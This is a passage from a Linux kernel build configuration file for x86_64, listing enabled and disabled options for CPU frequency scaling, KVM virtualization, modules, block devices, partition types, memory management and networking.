CONFIG_CPU_FREQ_GOV_ONDEMAND=y
# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set
CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y

#
# CPU frequency scaling drivers
#
# CONFIG_CPUFREQ_DT is not set
# CONFIG_CPUFREQ_DT_PLATDEV is not set
CONFIG_X86_INTEL_PSTATE=y
# CONFIG_X86_PCC_CPUFREQ is not set
CONFIG_X86_AMD_PSTATE=y
CONFIG_X86_AMD_PSTATE_DEFAULT_MODE=3
# CONFIG_X86_AMD_PSTATE_UT is not set
CONFIG_X86_ACPI_CPUFREQ=y
CONFIG_X86_ACPI_CPUFREQ_CPB=y
# CONFIG_X86_POWERNOW_K8 is not set
# CONFIG_X86_AMD_FREQ_SENSITIVITY is not set
# CONFIG_X86_SPEEDSTEP_CENTRINO is not set
# CONFIG_X86_P4_CLOCKMOD is not set

#
# shared options
#
CONFIG_CPUFREQ_ARCH_CUR_FREQ=y
# end of CPU Frequency scaling

#
# CPU Idle
#
CONFIG_CPU_IDLE=y
# CONFIG_CPU_IDLE_GOV_LADDER is not set
CONFIG_CPU_IDLE_GOV_MENU=y
# CONFIG_CPU_IDLE_GOV_TEO is not set
CONFIG_CPU_IDLE_GOV_HALTPOLL=y
CONFIG_HALTPOLL_CPUIDLE=y
# end of CPU Idle

CONFIG_INTEL_IDLE=y
# end of Power management and ACPI options

#
# Bus options (PCI etc.)
#
CONFIG_PCI_DIRECT=y
CONFIG_PCI_MMCONFIG=y
CONFIG_MMCONF_FAM10H=y
CONFIG_ISA_BUS=y
CONFIG_ISA_DMA_API=y
CONFIG_AMD_NB=y
CONFIG_AMD_NODE=y
# end of Bus options (PCI etc.)

#
# Binary Emulations
#
CONFIG_IA32_EMULATION=y
# CONFIG_IA32_EMULATION_DEFAULT_DISABLED is not set
CONFIG_X86_X32_ABI=y
CONFIG_COMPAT_32=y
CONFIG_COMPAT=y
CONFIG_COMPAT_FOR_U64_ALIGNMENT=y
# end of Binary Emulations

CONFIG_KVM_COMMON=y
CONFIG_HAVE_KVM_PFNCACHE=y
CONFIG_HAVE_KVM_IRQCHIP=y
CONFIG_HAVE_KVM_IRQ_ROUTING=y
CONFIG_HAVE_KVM_DIRTY_RING=y
CONFIG_HAVE_KVM_DIRTY_RING_TSO=y
CONFIG_HAVE_KVM_DIRTY_RING_ACQ_REL=y
CONFIG_KVM_MMIO=y
CONFIG_KVM_ASYNC_PF=y
CONFIG_HAVE_KVM_MSI=y
CONFIG_HAVE_KVM_READONLY_MEM=y
CONFIG_HAVE_KVM_CPU_RELAX_INTERCEPT=y
CONFIG_KVM_VFIO=y
CONFIG_KVM_GENERIC_DIRTYLOG_READ_PROTECT=y
CONFIG_KVM_GENERIC_PRE_FAULT_MEMORY=y
CONFIG_KVM_COMPAT=y
CONFIG_HAVE_KVM_IRQ_BYPASS=y
CONFIG_HAVE_KVM_NO_POLL=y
CONFIG_VIRT_XFER_TO_GUEST_WORK=y
CONFIG_HAVE_KVM_PM_NOTIFIER=y
CONFIG_KVM_GENERIC_HARDWARE_ENABLING=y
CONFIG_KVM_ELIDE_TLB_FLUSH_IF_YOUNG=y
CONFIG_KVM_MMU_LOCKLESS_AGING=y
CONFIG_KVM_GENERIC_MEMORY_ATTRIBUTES=y
CONFIG_KVM_GUEST_MEMFD=y
CONFIG_VIRTUALIZATION=y
CONFIG_KVM_X86=y
CONFIG_KVM=y
CONFIG_KVM_SW_PROTECTED_VM=y
CONFIG_KVM_INTEL=y
# CONFIG_KVM_INTEL_PROVE_VE is not set
CONFIG_X86_SGX_KVM=y
CONFIG_KVM_AMD=y
CONFIG_KVM_IOAPIC=y
CONFIG_KVM_SMM=y
CONFIG_KVM_HYPERV=y
CONFIG_KVM_XEN=y
CONFIG_KVM_PROVE_MMU=y
CONFIG_KVM_MAX_NR_VCPUS=1024
CONFIG_X86_REQUIRED_FEATURE_ALWAYS=y
CONFIG_X86_REQUIRED_FEATURE_NOPL=y
CONFIG_X86_REQUIRED_FEATURE_CX8=y
CONFIG_X86_REQUIRED_FEATURE_CMOV=y
CONFIG_X86_REQUIRED_FEATURE_CPUID=y
CONFIG_X86_REQUIRED_FEATURE_FPU=y
CONFIG_X86_REQUIRED_FEATURE_PAE=y
CONFIG_X86_REQUIRED_FEATURE_PSE=y
CONFIG_X86_REQUIRED_FEATURE_PGE=y
CONFIG_X86_REQUIRED_FEATURE_MSR=y
CONFIG_X86_REQUIRED_FEATURE_FXSR=y
CONFIG_X86_REQUIRED_FEATURE_XMM=y
CONFIG_X86_REQUIRED_FEATURE_XMM2=y
CONFIG_X86_REQUIRED_FEATURE_LM=y
CONFIG_X86_DISABLED_FEATURE_VME=y
CONFIG_X86_DISABLED_FEATURE_K6_MTRR=y
CONFIG_X86_DISABLED_FEATURE_CYRIX_ARR=y
CONFIG_X86_DISABLED_FEATURE_CENTAUR_MCR=y
CONFIG_X86_DISABLED_FEATURE_LAM=y
CONFIG_X86_DISABLED_FEATURE_XENPV=y
CONFIG_X86_DISABLED_FEATURE_TDX_GUEST=y
CONFIG_X86_DISABLED_FEATURE_SEV_SNP=y
CONFIG_AS_WRUSS=y
CONFIG_ARCH_CONFIGURES_CPU_MITIGATIONS=y

#
# General architecture-dependent options
#
CONFIG_HOTPLUG_SMT=y
CONFIG_ARCH_SUPPORTS_SCHED_SMT=y
CONFIG_ARCH_SUPPORTS_SCHED_CLUSTER=y
CONFIG_ARCH_SUPPORTS_SCHED_MC=y
CONFIG_SCHED_SMT=y
CONFIG_SCHED_CLUSTER=y
CONFIG_SCHED_MC=y
CONFIG_HOTPLUG_CORE_SYNC=y
CONFIG_HOTPLUG_CORE_SYNC_DEAD=y
CONFIG_HOTPLUG_CORE_SYNC_FULL=y
CONFIG_HOTPLUG_SPLIT_STARTUP=y
CONFIG_HOTPLUG_PARALLEL=y
CONFIG_GENERIC_IRQ_ENTRY=y
CONFIG_GENERIC_SYSCALL=y
CONFIG_GENERIC_ENTRY=y
CONFIG_ARCH_SUPPORTS_SYSCALL_USER_DISPATCH=y
CONFIG_SYSCALL_USER_DISPATCH=y
# CONFIG_KPROBES is not set
CONFIG_JUMP_LABEL=y
# CONFIG_STATIC_KEYS_SELFTEST is not set
# CONFIG_STATIC_CALL_SELFTEST is not set
CONFIG_UPROBES=y
CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y
CONFIG_ARCH_USE_BUILTIN_BSWAP=y
CONFIG_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_IOREMAP_PROT=y
CONFIG_HAVE_KPROBES=y
CONFIG_HAVE_KRETPROBES=y
CONFIG_HAVE_OPTPROBES=y
CONFIG_HAVE_KPROBES_ON_FTRACE=y
CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y
CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y
CONFIG_HAVE_NMI=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_HAVE_DMA_CONTIGUOUS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAS_FORTIFY_SOURCE=y
CONFIG_ARCH_HAS_SET_MEMORY=y
CONFIG_ARCH_HAS_SET_DIRECT_MAP=y
CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y
CONFIG_ARCH_HAS_DELAY_TIMER=y
CONFIG_ARCH_HAS_CPU_PASID=y
CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y
CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y
CONFIG_ARCH_WANTS_NO_INSTR=y
CONFIG_ARCH_MEMORY_ORDER_TSO=y
CONFIG_HAVE_ASM_MODVERSIONS=y
CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y
CONFIG_HAVE_RSEQ=y
CONFIG_HAVE_RUST=y
CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y
CONFIG_HAVE_HW_BREAKPOINT=y
CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y
CONFIG_HAVE_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
CONFIG_HAVE_HARDLOCKUP_DETECTOR_PERF=y
CONFIG_UNWIND_USER=y
CONFIG_HAVE_UNWIND_USER_FP=y
CONFIG_HAVE_PERF_REGS=y
CONFIG_HAVE_PERF_USER_STACK_DUMP=y
CONFIG_HAVE_ARCH_JUMP_LABEL=y
CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y
CONFIG_MMU_GATHER_TABLE_FREE=y
CONFIG_MMU_GATHER_RCU_TABLE_FREE=y
CONFIG_MMU_GATHER_MERGE_VMAS=y
CONFIG_ARCH_WANT_IRQS_OFF_ACTIVATE_MM=y
CONFIG_MMU_LAZY_TLB_REFCOUNT=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_ARCH_HAVE_EXTRA_ELF_NOTES=y
CONFIG_ARCH_HAS_NMI_SAFE_THIS_CPU_OPS=y
CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y
CONFIG_HAVE_CMPXCHG_LOCAL=y
CONFIG_HAVE_CMPXCHG_DOUBLE=y
CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y
CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y
CONFIG_HAVE_ARCH_SECCOMP=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
CONFIG_SECCOMP=y
CONFIG_SECCOMP_FILTER=y
# CONFIG_SECCOMP_CACHE_DEBUG is not set
CONFIG_HAVE_ARCH_KSTACK_ERASE=y
CONFIG_HAVE_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y
CONFIG_LTO_NONE=y
CONFIG_ARCH_SUPPORTS_CFI=y
CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y
CONFIG_HAVE_CONTEXT_TRACKING_USER=y
CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_PV_STEAL_CLOCK_GEN=y
CONFIG_HAVE_MOVE_PUD=y
CONFIG_HAVE_MOVE_PMD=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y
CONFIG_HAVE_ARCH_HUGE_VMAP=y
CONFIG_HAVE_ARCH_HUGE_VMALLOC=y
CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y
CONFIG_ARCH_WANT_PMD_MKWRITE=y
CONFIG_HAVE_ARCH_SOFT_DIRTY=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_ARCH_HAS_EXECMEM_ROX=y
CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y
CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y
CONFIG_SOFTIRQ_ON_OWN_STACK=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_MMAP_RND_BITS=y
CONFIG_HAVE_EXIT_THREAD=y
CONFIG_ARCH_MMAP_RND_BITS=28
CONFIG_HAVE_ARCH_MMAP_RND_COMPAT_BITS=y
CONFIG_ARCH_MMAP_RND_COMPAT_BITS=8
CONFIG_HAVE_ARCH_COMPAT_MMAP_BASES=y
CONFIG_HAVE_PAGE_SIZE_4KB=y
CONFIG_PAGE_SIZE_4KB=y
CONFIG_PAGE_SIZE_LESS_THAN_64KB=y
CONFIG_PAGE_SIZE_LESS_THAN_256KB=y
CONFIG_PAGE_SHIFT=12
CONFIG_HAVE_OBJTOOL=y
CONFIG_HAVE_JUMP_LABEL_HACK=y
CONFIG_HAVE_NOINSTR_HACK=y
CONFIG_HAVE_NOINSTR_VALIDATION=y
CONFIG_HAVE_UACCESS_VALIDATION=y
CONFIG_HAVE_STACK_VALIDATION=y
CONFIG_HAVE_RELIABLE_STACKTRACE=y
CONFIG_OLD_SIGSUSPEND3=y
CONFIG_COMPAT_OLD_SIGACTION=y
CONFIG_COMPAT_32BIT_TIME=y
CONFIG_ARCH_SUPPORTS_RT=y
CONFIG_HAVE_ARCH_VMAP_STACK=y
CONFIG_VMAP_STACK=y
CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y
CONFIG_RANDOMIZE_KSTACK_OFFSET=y
# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y
# CONFIG_LOCK_EVENT_COUNTS is not set
CONFIG_ARCH_HAS_MEM_ENCRYPT=y
CONFIG_HAVE_STATIC_CALL=y
CONFIG_HAVE_STATIC_CALL_INLINE=y
CONFIG_HAVE_PREEMPT_DYNAMIC=y
CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y
CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y
CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y
CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y
CONFIG_ARCH_HAS_ELFCORE_COMPAT=y
CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y
CONFIG_DYNAMIC_SIGFRAME=y
CONFIG_HAVE_ARCH_NODE_DEV_GROUP=y
CONFIG_ARCH_HAS_HW_PTE_YOUNG=y
CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y
CONFIG_ARCH_HAS_KERNEL_FPU_SUPPORT=y
CONFIG_HAVE_GENERIC_TIF_BITS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y
# end of GCOV-based kernel profiling

CONFIG_HAVE_GCC_PLUGINS=y
CONFIG_FUNCTION_ALIGNMENT_4B=y
CONFIG_FUNCTION_ALIGNMENT_16B=y
CONFIG_FUNCTION_ALIGNMENT=16
CONFIG_CC_HAS_MIN_FUNCTION_ALIGNMENT=y
CONFIG_CC_HAS_SANE_FUNCTION_ALIGNMENT=y
CONFIG_ARCH_HAS_CPU_ATTACK_VECTORS=y
# end of General architecture-dependent options

CONFIG_RT_MUTEXES=y
CONFIG_MODULE_SIG_FORMAT=y
CONFIG_MODULES=y
# CONFIG_MODULE_DEBUG is not set
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODULE_UNLOAD_TAINT_TRACKING is not set
CONFIG_MODVERSIONS=y
# CONFIG_GENKSYMS is not set
CONFIG_GENDWARFKSYMS=y
CONFIG_ASM_MODVERSIONS=y
# CONFIG_EXTENDED_MODVERSIONS is not set
# CONFIG_BASIC_MODVERSIONS is not set
CONFIG_MODULE_SRCVERSION_ALL=y
CONFIG_MODULE_SIG=y
# CONFIG_MODULE_SIG_FORCE is not set
# CONFIG_MODULE_SIG_ALL is not set
CONFIG_MODULE_SIG_SHA256=y
# CONFIG_MODULE_SIG_SHA384 is not set
# CONFIG_MODULE_SIG_SHA512 is not set
# CONFIG_MODULE_SIG_SHA3_256 is not set
# CONFIG_MODULE_SIG_SHA3_384 is not set
# CONFIG_MODULE_SIG_SHA3_512 is not set
CONFIG_MODULE_SIG_HASH="sha256"
# CONFIG_MODULE_COMPRESS is not set
# CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set
CONFIG_MODPROBE_PATH="/sbin/modprobe"
# CONFIG_TRIM_UNUSED_KSYMS is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_BLOCK=y
CONFIG_BLOCK_LEGACY_AUTOLOAD=y
CONFIG_BLK_RQ_ALLOC_TIME=y
CONFIG_BLK_CGROUP_RWSTAT=y
CONFIG_BLK_CGROUP_PUNT_BIO=y
CONFIG_BLK_DEV_BSG_COMMON=y
CONFIG_BLK_ICQ=y
CONFIG_BLK_DEV_BSGLIB=y
CONFIG_BLK_DEV_INTEGRITY=y
# CONFIG_BLK_DEV_WRITE_MOUNTED is not set
CONFIG_BLK_DEV_ZONED=y
CONFIG_BLK_DEV_THROTTLING=y
CONFIG_BLK_WBT=y
CONFIG_BLK_WBT_MQ=y
CONFIG_BLK_CGROUP_IOLATENCY=y
# CONFIG_BLK_CGROUP_FC_APPID is not set
CONFIG_BLK_CGROUP_IOCOST=y
CONFIG_BLK_CGROUP_IOPRIO=y
CONFIG_BLK_DEBUG_FS=y
# CONFIG_BLK_SED_OPAL is not set
CONFIG_BLK_INLINE_ENCRYPTION=y
CONFIG_BLK_INLINE_ENCRYPTION_FALLBACK=y

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
CONFIG_ACORN_PARTITION=y
CONFIG_ACORN_PARTITION_CUMANA=y
CONFIG_ACORN_PARTITION_EESOX=y
CONFIG_ACORN_PARTITION_ICS=y
CONFIG_ACORN_PARTITION_ADFS=y
CONFIG_ACORN_PARTITION_POWERTEC=y
CONFIG_ACORN_PARTITION_RISCIX=y
CONFIG_AIX_PARTITION=y
CONFIG_OSF_PARTITION=y
CONFIG_AMIGA_PARTITION=y
CONFIG_ATARI_PARTITION=y
CONFIG_MAC_PARTITION=y
CONFIG_MSDOS_PARTITION=y
CONFIG_BSD_DISKLABEL=y
CONFIG_MINIX_SUBPARTITION=y
CONFIG_SOLARIS_X86_PARTITION=y
CONFIG_UNIXWARE_DISKLABEL=y
CONFIG_LDM_PARTITION=y
# CONFIG_LDM_DEBUG is not set
CONFIG_SGI_PARTITION=y
CONFIG_ULTRIX_PARTITION=y
CONFIG_SUN_PARTITION=y
CONFIG_KARMA_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_SYSV68_PARTITION=y
CONFIG_CMDLINE_PARTITION=y
# CONFIG_OF_PARTITION is not set
# end of Partition Types

CONFIG_BLK_PM=y
CONFIG_BLOCK_HOLDER_DEPRECATED=y
CONFIG_BLK_MQ_STACKING=y
# CONFIG_BLK_ERROR_INJECTION is not set

#
# IO Schedulers
#
CONFIG_MQ_IOSCHED_DEADLINE=y
CONFIG_MQ_IOSCHED_KYBER=y
CONFIG_IOSCHED_BFQ=y
CONFIG_BFQ_GROUP_IOSCHED=y
CONFIG_BFQ_CGROUP_DEBUG=y
# end of IO Schedulers

CONFIG_PREEMPT_NOTIFIERS=y
CONFIG_PADATA=y
CONFIG_ASN1=y
CONFIG_UNINLINE_SPIN_UNLOCK=y
CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
CONFIG_RWSEM_SPIN_ON_OWNER=y
CONFIG_LOCK_SPIN_ON_OWNER=y
CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y
CONFIG_QUEUED_SPINLOCKS=y
# CONFIG_QUEUED_SPINLOCKS_TRACE_CONTENDED_RELEASE is not set
CONFIG_ARCH_USE_QUEUED_RWLOCKS=y
CONFIG_QUEUED_RWLOCKS=y
CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y
CONFIG_ARCH_HAS_SYNC_CORE_BEFORE_USERMODE=y
CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y
CONFIG_FREEZER=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_COMPAT_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
# end of Executable file formats

#
# Memory Management options
#
CONFIG_SWAP=y
CONFIG_ZSWAP=y
CONFIG_ZSWAP_DEFAULT_ON=y
CONFIG_ZSWAP_SHRINKER_DEFAULT_ON=y
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_DEFLATE is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZO is not set
CONFIG_ZSWAP_COMPRESSOR_DEFAULT_842=y
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZ4 is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZ4HC is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_ZSTD is not set
CONFIG_ZSWAP_COMPRESSOR_DEFAULT="842"
CONFIG_ZSMALLOC=y

#
# Zsmalloc allocator options
#

#
# Zsmalloc is a common backend allocator for zswap & zram
#
# CONFIG_ZSMALLOC_STAT is not set
CONFIG_ZSMALLOC_CHAIN_SIZE=8
# end of Zsmalloc allocator options

#
# Slab allocator options
#
CONFIG_SLUB=y
CONFIG_KVFREE_RCU_BATCHED=y
# CONFIG_SLUB_TINY is not set
CONFIG_SLAB_MERGE_DEFAULT=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_SLAB_BUCKETS is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_KMALLOC_PARTITION_CACHES is not set
# end of Slab allocator options

# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set
# CONFIG_COMPAT_BRK is not set
CONFIG_SPARSEMEM=y
CONFIG_SPARSEMEM_EXTREME=y
CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
CONFIG_SPARSEMEM_VMEMMAP=y
CONFIG_SPARSEMEM_VMEMMAP_PREINIT=y
CONFIG_ARCH_WANT_OPTIMIZE_DAX_VMEMMAP=y
CONFIG_ARCH_WANT_OPTIMIZE_HUGETLB_VMEMMAP=y
CONFIG_ARCH_WANT_HUGETLB_VMEMMAP_PREINIT=y
CONFIG_HAVE_GUP_FAST=y
CONFIG_NUMA_KEEP_MEMINFO=y
CONFIG_MEMORY_ISOLATION=y
CONFIG_EXCLUSIVE_SYSTEM_RAM=y
CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
CONFIG_MEMORY_HOTPLUG=y
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_OFFLINE is not set
CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_AUTO=y
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_KERNEL is not set
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_MOVABLE is not set
CONFIG_MEMORY_HOTREMOVE=y
CONFIG_MHP_MEMMAP_ON_MEMORY=y
CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y
CONFIG_SPLIT_PTE_PTLOCKS=y
CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y
CONFIG_SPLIT_PMD_PTLOCKS=y
CONFIG_BALLOON=y
# CONFIG_BALLOON_MIGRATION is not set
CONFIG_COMPACTION=y
CONFIG_COMPACT_UNEVICTABLE_DEFAULT=1
CONFIG_PAGE_REPORTING=y
CONFIG_NUMA_MIGRATION=y
CONFIG_MIGRATION=y
CONFIG_DEVICE_MIGRATION=y
CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y
CONFIG_ARCH_HAS_PMD_SOFTLEAVES=y
CONFIG_CONTIG_ALLOC=y
CONFIG_PCP_BATCH_SCALE_MAX=5
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_MMU_NOTIFIER=y
CONFIG_KSM=y
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y
# CONFIG_MEMORY_FAILURE is not set
CONFIG_ARCH_WANT_GENERAL_HUGETLB=y
CONFIG_ARCH_WANTS_THP_SWAP=y
# CONFIG_PERSISTENT_HUGE_ZERO_FOLIO is not set
CONFIG_MM_ID=y
CONFIG_TRANSPARENT_HUGEPAGE=y
# CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS is not set
CONFIG_TRANSPARENT_HUGEPAGE_MADVISE=y
# CONFIG_TRANSPARENT_HUGEPAGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_ALWAYS is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_WITHIN_SIZE is not set
CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_ADVISE=y
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_ALWAYS is not set
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_WITHIN_SIZE is not set
CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_ADVISE=y
CONFIG_THP_SWAP=y
# CONFIG_NO_PAGE_MAPCOUNT is not set
CONFIG_PAGE_MAPCOUNT=y
CONFIG_PGTABLE_HAS_HUGE_LEAVES=y
CONFIG_HAVE_GIGANTIC_FOLIOS=y
CONFIG_ASYNC_KERNEL_PGTABLE_FREE=y
CONFIG_ARCH_SUPPORTS_HUGE_PFNMAP=y
CONFIG_ARCH_SUPPORTS_PMD_PFNMAP=y
CONFIG_ARCH_SUPPORTS_PUD_PFNMAP=y
CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y
CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y
CONFIG_USE_PERCPU_NUMA_NODE_ID=y
CONFIG_HAVE_SETUP_PER_CPU_AREA=y
CONFIG_CMA=y
# CONFIG_CMA_DEBUGFS is not set
# CONFIG_CMA_SYSFS is not set
CONFIG_CMA_AREAS=20
CONFIG_PAGE_BLOCK_MAX_ORDER=10
CONFIG_MEM_SOFT_DIRTY=y
CONFIG_GENERIC_EARLY_IOREMAP=y
# CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set
CONFIG_PAGE_IDLE_FLAG=y
# CONFIG_IDLE_PAGE_TRACKING is not set
CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y
CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y
CONFIG_ARCH_HAS_ZONE_DMA_SET=y
CONFIG_ZONE_DMA=y
CONFIG_ZONE_DMA32=y
CONFIG_ZONE_DEVICE=y
CONFIG_HMM_MIRROR=y
CONFIG_GET_FREE_REGION=y
CONFIG_DEVICE_PRIVATE=y
CONFIG_VMAP_PFN=y
CONFIG_ARCH_USES_HIGH_VMA_FLAGS=y
CONFIG_ARCH_HAS_PKEYS=y
CONFIG_ARCH_USES_PG_ARCH_2=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PERCPU_STATS=y
# CONFIG_GUP_TEST is not set
# CONFIG_DMAPOOL_TEST is not set
CONFIG_ARCH_HAS_PTE_SPECIAL=y
CONFIG_MAPPING_DIRTY_HELPERS=y
CONFIG_KMAP_LOCAL=y
CONFIG_MEMFD_CREATE=y
CONFIG_SECRETMEM=y
CONFIG_ANON_VMA_NAME=y
CONFIG_HAVE_ARCH_USERFAULTFD_WP=y
CONFIG_HAVE_ARCH_USERFAULTFD_MINOR=y
CONFIG_USERFAULTFD_RWP=y
CONFIG_USERFAULTFD=y
# CONFIG_PTE_MARKER_UFFD_WP is not set
CONFIG_LRU_GEN=y
CONFIG_LRU_GEN_ENABLED=y
# CONFIG_LRU_GEN_STATS is not set
CONFIG_LRU_GEN_WALKS_MMU=y
CONFIG_ARCH_SUPPORTS_PER_VMA_LOCK=y
CONFIG_PER_VMA_LOCK=y
CONFIG_LOCK_MM_AND_FIND_VMA=y
CONFIG_IOMMU_MM_DATA=y
CONFIG_EXECMEM=y
CONFIG_NUMA_MEMBLKS=y
CONFIG_NUMA_EMU=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
CONFIG_PT_RECLAIM=y

#
# Data Access Monitoring
#
CONFIG_DAMON=y
# CONFIG_DAMON_DEBUG_SANITY is not set
CONFIG_DAMON_VADDR=y
CONFIG_DAMON_PADDR=y
# CONFIG_DAMON_SYSFS is not set
CONFIG_DAMON_RECLAIM=y
# CONFIG_DAMON_LRU_SORT is not set
# CONFIG_DAMON_STAT is not set
# end of Data Access Monitoring
# end of Memory Management options

CONFIG_NET=y
CONFIG_WANT_COMPAT_NETLINK_MESSAGES=y
CONFIG_COMPAT_NETLINK_MESSAGES=y
CONFIG_NET_INGRESS=y
CONFIG_NET_EGRESS=y
CONFIG_NET_XGRESS=y
CONFIG_NET_REDIRECT=y
CONFIG_SKB_DECRYPTED=y
CONFIG_SKB_EXTENSIONS=y
CONFIG_NET_DEVMEM=y
CONFIG_NET_SHAPER=y
CONFIG_NET_CRC32C=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_DIAG=y
CONFIG_INET_PSP=y
CONFIG_UNIX=y
CONFIG_AF_UNIX_OOB=y
CONFIG_UNIX_DIAG=y
CONFIG_TLS=y
CONFIG_TLS_DEVICE=y
CONFIG_XFRM=y
CONFIG_XFRM_OFFLOAD=y
CONFIG_XFRM_ALGO=y
CONFIG_XFRM_USER=y
CONFIG_XFRM_USER_COMPAT=y
CONFIG_XFRM_INTERFACE=y
CONFIG_XFRM_SUB_POLICY=y
CONFIG_XFRM_MIGRATE=y
CONFIG_XFRM_STATISTICS=y
CONFIG_XFRM_AH=y
CONFIG_XFRM_ESP=y
CONFIG_XFRM_IPCOMP=y
CONFIG_NET_KEY=y
CONFIG_NET_KEY_MIGRATE=y
